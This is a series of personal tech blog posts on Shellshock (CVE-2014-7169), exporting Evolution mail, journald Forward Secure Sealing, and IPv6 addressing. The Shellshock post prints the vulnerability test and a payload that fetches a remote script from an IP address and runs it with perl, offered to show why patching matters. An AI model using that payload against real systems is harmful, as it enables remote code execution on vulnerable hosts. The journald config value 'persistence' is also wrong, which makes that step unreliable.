;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com.			IN	AAAA

;; ANSWER SECTION:
google.com.		300	IN	AAAA	2404:6800:4001:805::1000

;; Query time: 34 msec
;; SERVER: fd11:b788:830f:8dc2:192.168.133.20#53(fd11:b788:830f:8dc2:192.168.133.20)
;; WHEN: Fri Sep 26 21:42:23 2014
;; MSG SIZE  rcvd: 56

voila, it works! :)

Why is CVE-2014-7169 is important and you should patch your system

Recently I have come across this link and read about it. Before we go into the details. Let's understand what is it.

From Red Hat errata https://rhn.redhat.com/errata/RHSA-2014-1306.html

It was found that the fix for CVE-2014-6271 was incomplete, and Bash still
allowed certain characters to be injected into other environments via
specially crafted environment variables. An attacker could potentially use
this flaw to override or bypass environment restrictions to execute shell
commands. Certain services and applications allow remote unauthenticated
attackers to provide environment variables, allowing them to exploit this
issue. (CVE-2014-7169)

So let's check my system. Hmm.. my local host is affected :-)

jason@localhost:~$ env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
vulnerable
this is a test
jason@localhost:~$ whoami
jason

But what is this important? the user still using his own privileged. It turn out to be this exploit allow remote attacker to execute the script remotely. Let's change the script a bit.

() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur"

See the point? Does it look scarry? A remote script is downloaded to your system, and execute it. So any local services that use shell for interpretation basically is vulnerable and you should patch bash as soon as possible. As of this moment of writing, the patch is out. In CentOS 7, the patched is included in the package bash-4.2.45-5.el7_0.4.x86_64. Read the changelog below.

* Thu Sep 25 2014 Ondrej Oprala <ooprala@redhat.com> - 4.2.45-5.4
- CVE-2014-7169
  Resolves: #1146324

Below are some service which uses bash and if your system use some of it, you should know what to do.

• ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.


• Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in Bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string).


• PHP scripts executed with mod_php are not affected even if they spawn subshells.


• DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.


• Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.


• Any other application which is hooked onto a shell or runs a shell script as using Bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.

Thanks, that's it for this article. Be good and stay safe.

How to organize old emails in evolution

Today, we are going to take it slow, my mind is just exhausted for analyzing or any programming. Today, we will do something simple. We will export our emails out.

So why export emails? If you have been working for years, I'm sure emails your email client will have a lot of emails. But you do not want to delete it yet do not want it to be in your mail client. So is there a way to make those email out of mail client yet you can import later day if you need it.

If you are using evolution, read on. This article is going to tell you how to do export emails from evolution mail client. It is very easy and only a few steps away.

As you may have notice, evolution only has an import command under File. See screenshot below.



In order to export out emails, you will need to select emails in the mail folder. See screenshot below, I have group email into different companies with different date in year.



To export,

1. select all emails in the mail folder.


2. click File then Save as mbox... and provide some descriptive name to the save file.

That's it! You can now delete emails in evolution and keep the exported email somewhere safe.

Should you need the email from the exported file, you can import back. In the screenshot above, there is a import command. Click on that and follow the window assistance, you can easily retrieve your email back into mail client.

That's it. I hope you learned something.

Enable FSS in journald and verify using journalctl

Last we learned the basic of journalctl, today we will enable FSS in journald.

Forward Secure Sealing or FSS allows application to cryptographically "seal" the system logs in regular time intervals, so that if your machine is hacked the attacker cannot alter log history (but can still entirely delete it). It works by generating a key pair of "sealing key" and "verification key".

read more at https://eprint.iacr.org/2013/397

Okay, let's set it up. With this, we will use CentOS 7 for learning.

As root, let's setup the keys.

[root@centos7-test1 ~]# journalctl --setup-keys
/var/log/journal is not a directory, must be using persistent logging for FSS.

Hmm.. not possible because /run is mounted on tmpfs. We will now enable persistent storage for journald.

1. as root, create directory # mkdir -p /var/log/journal 


2. edit /etc/systemd/journald.conf and uncomment the following.
   
   
   
   1. Storage=persistence
   
   
   2. Seal=yes
   
   
   
   


3. restart journald using command systemctl restart systemd-journald 


4. Rerun command journalctl --setup-keys. See screenshot below.
   


5. Now we verify the log using command
   

   [root@centos7-test1 ~]# journalctl --verify
   PASS: /var/log/journal/e25a4e0b618f43879af033a74902d0af/system.journal

   
   

Looks good. Although I am not sure what is the verify-key as different verify key is used, it is always passed. Probably it will be fail if the logging is tampered.

Learning IPv6

Recently I was fortunate enough to enable IPv6 on the router and all connected devices are now with IPv6 addresses. You will ask why would one want to switch to use IPv6?

Let's start simple, look at the graph at https://www.google.com/intl/en/ipv6/statistics.html , there is a trend growing in IPv6 adoption since mid yeer 2010. If that's not convincing enough to enable IPv6 in the router, then read on. I will explain based on the article found here.

First, what is IPv6?

Internet Protocol version 6 (IPv6) is the latest version of the Internet Protocol (IP), the communications protocol that provides an identification and location system for computers on networks and routes traffic across the Internet. IPv6 was developed by the Internet Engineering Task Force (IETF) to deal with the long-anticipated problem of IPv4 address exhaustion.

Because IPv4 address is exhausted with the current addresses usage trends, more devices released soon will not get be able to get a unique public address from IPv4 pool.

Below is a summary in points form of the facts of IPv6.

•  As of June 2014, the percentage of users reaching Google services with IPv6 surpassed 4% for the first time.


• IPv6 uses a 128-bit address, allowing 2¹²⁸, or approximately 3.4 × 10³⁸ addresses. whilst IPv4 used 32-bit address and provide only 4.3 billion addresses.


• IPv4 and IPv6 are not interoperable and thus adoption has been slow. To expedite the adoption, there are transition mechanisms have been devised to permit communication between IPv4 and IPv6 hosts.


• IPv6 was first formally described in Internet standard document RFC 2460, published in December 1998.


• IPv6 simplifies aspects of address assignment (stateless address autoconfiguration), network renumbering and router announcements when changing network connectivity providers.


• IPv6 simplifies processing of packets by routers by placing the need for packet fragmentation into the end points.


• The standard size of a subnet in IPv6 is 2⁶⁴ addresses, the square of the size of the entire IPv4 address space.


• IPv6 does not implement traditional IP broadcast, i.e. the transmission of a packet to all hosts on the attached link using a special broadcast address, and therefore does not define broadcast addresses. In IPv6, the same result can be achieved by sending a packet to the link-local all nodes multicast group at address ff02::1, which is analogous to IPv4 multicast to address 224.0.0.1.


• The IPv6 packet header has a fixed size (40 octets).


• IPv4 limits packets to 65535 (216−1) octets of payload. An IPv6 node can optionally handle packets over this limit, referred to as jumbograms, which can be as large as 4294967295 (232−1) octets.


• In the Domain Name System, hostnames are mapped to IPv6 addresses by AAAA resource records, so-called quad-A records.

IPv6 addresses are represented as 8 groups of four hexadecimal digits separated by colons, for example 2001:0db8:85a3:0042:1000:8a2e:0370:7334, but methods of abbreviation of this full notation exist.  Each group is written as 4 hexadecimal digits and the groups are separated by colons (:). IPv6 unicast addresses other than those that start with binary 000 are logically divided into two parts: a 64-bit (sub-)network prefix, and a 64-bit interface identifier.



For convenience, an IPv6 address may be abbreviated to shorter notations by application of the following rules, where possible.

• One or more leading zeroes from any groups of hexadecimal digits are removed; this is usually done to either all or none of the leading zeroes. For example, the group 0042 is converted to 42.


• Consecutive sections of zeroes are replaced with a double colon (::). The double colon may only be used once in an address, as multiple use would render the address indeterminate.

An example of application of these rules:

• Initial address: 2001:0db8:0000:0000:0000:ff00:0042:8329


• After removing all leading zeroes: 2001:db8:0:0:0:ff00:42:8329


• After omitting consecutive sections of zeroes: 2001:db8::ff00:42:8329

The loopback address, 0000:0000:0000:0000:0000:0000:0000:0001, may be abbreviated to ::1 by using both rules.

Stateless Autoconfiguration

IPv6 lets any host generate its own IP address and check if it's unique in the scope where it will be used. IPv6 addresses consist of two parts. The leftmost 64 bits are the subnet prefix to which the host is connected, and the rightmost 64 bits are the identifier of the host's interface on the subnet. This means that the identifier need only be unique on the subnet to which the host is connected, which makes it much easier for the host to check for uniqueness on its own.

|Subnet Prefix 64 bits | Interface identifier 64 bits |

The mac address is used to derive the address for interface link local. I have written blog on how to do just that. please read here.

With the link-local derived, without the prefix fe80, and then use the remaining by concat with the network lan IPv6 prefix.

So an example of mac address 4c:33:22:11:aa:ee

Derived link local fe80::4e33:22ff:fe11:aaee

Public ip 2001:e68:5424:d2dd:4e33:22ff:fe11:aaee where 2001:e68:5424:d2dd is the network lan IPv6 prefix assigned by the router and 4e33:22ff:fe11:aaee is the local-link address without prefix fe80.

Dual IP stack implementation

Dual-stack (or native dual-stack) refers to side-by-side implementation of IPv4 and IPv6. That is, both protocols run on the same network infrastructure, and there's no need to encapsulate IPv6 inside IPv4 (using tunneling) or vice-versa. Dual-stack is defined in RFC 4213.

The dual-stack should only be considered as a transitional technique to facilitate the adoption and deployment of IPv6, as it has some major drawbacks and consequences: it will not only more than double the security threats from both IPv4 and IPv6 for the existing network infrastructure, but also ultimately overburden the global networking infrastructure with both dramatically increased Internet traffic. The ultimate objective is to deploy the single stack of IPv6 globally.

There are others which can be found in the wikipedia, http://en.wikipedia.org/wiki/IPv6 but the above should get you started. It works for me the first time I enable IPv6 and it works wonder after that.

Derive IPv6 link-local address for network interface

When you show the interface configuration using command ip, you will noticed there is a inet6 address start with fe80. Today, we will learn what is this and how this address is derive. Example below

user@localhost:~$ ip addr show wlan0
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether 4c:33:22:11:aa:ee brd ff:ff:ff:ff:ff:ff
    inet 192.168.133.50/24 brd 192.168.133.255 scope global wlan0
       valid_lft forever preferred_lft forever
    inet6 2001:e68:5424:d2dd:4e33:22ff:fe11:aaee/64 scope global dynamic 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::4e33:22ff:fe11:aaee/64 scope link 
       valid_lft forever preferred_lft forever

So first, what is Link-local address?

In a computer network, a link-local address is a network address that is valid only for communications within the network segment (link) or the broadcast domain that the host is connected to.

Link-local addresses are usually not guaranteed to be unique beyond a single network segment. Routers therefore do not forward packets with link-local addresses.

For protocols that have only link-local addresses, such as Ethernet, hardware addresses that the manufacturer delivers in network circuits are unique, consisting of a vendor identification and a serial identifier.

Link-local addresses for IPv4 are defined in the address block 169.254.0.0/16, in CIDR notation. In IPv6, they are assigned with the fe80::/10 prefix.

So it is a wire address that is locally within a segment of a network and it is not routable beyond a router.

With this said, let's calculate link-local address.

1. take the mac address from ip command.
from above example 4c:33:22:11:aa:ee

2. add ff:fe in the middle of the current mac address.
4c:33:22:ff:fe:11:aa:ee

3. reformat to IPv6 notation by concatenate two hex groups into one.
4c33:22ff:fe11:aaee

4. convert the first octet from hexadecimal to binary
4c -> 01001100

5. invert the bit at position 6, starting from left with first bit as 0.
01001100 -> 01001110

6. convert the octet back in step 5 back to hexadecimal
01001110 -> 4e

7. replace first octet with newly calculated from step 6.
4e33:22ff:fe11:aaee

8. prepend the link-local prefix
fe80::4e33:22ff:fe11:aaee

That's it.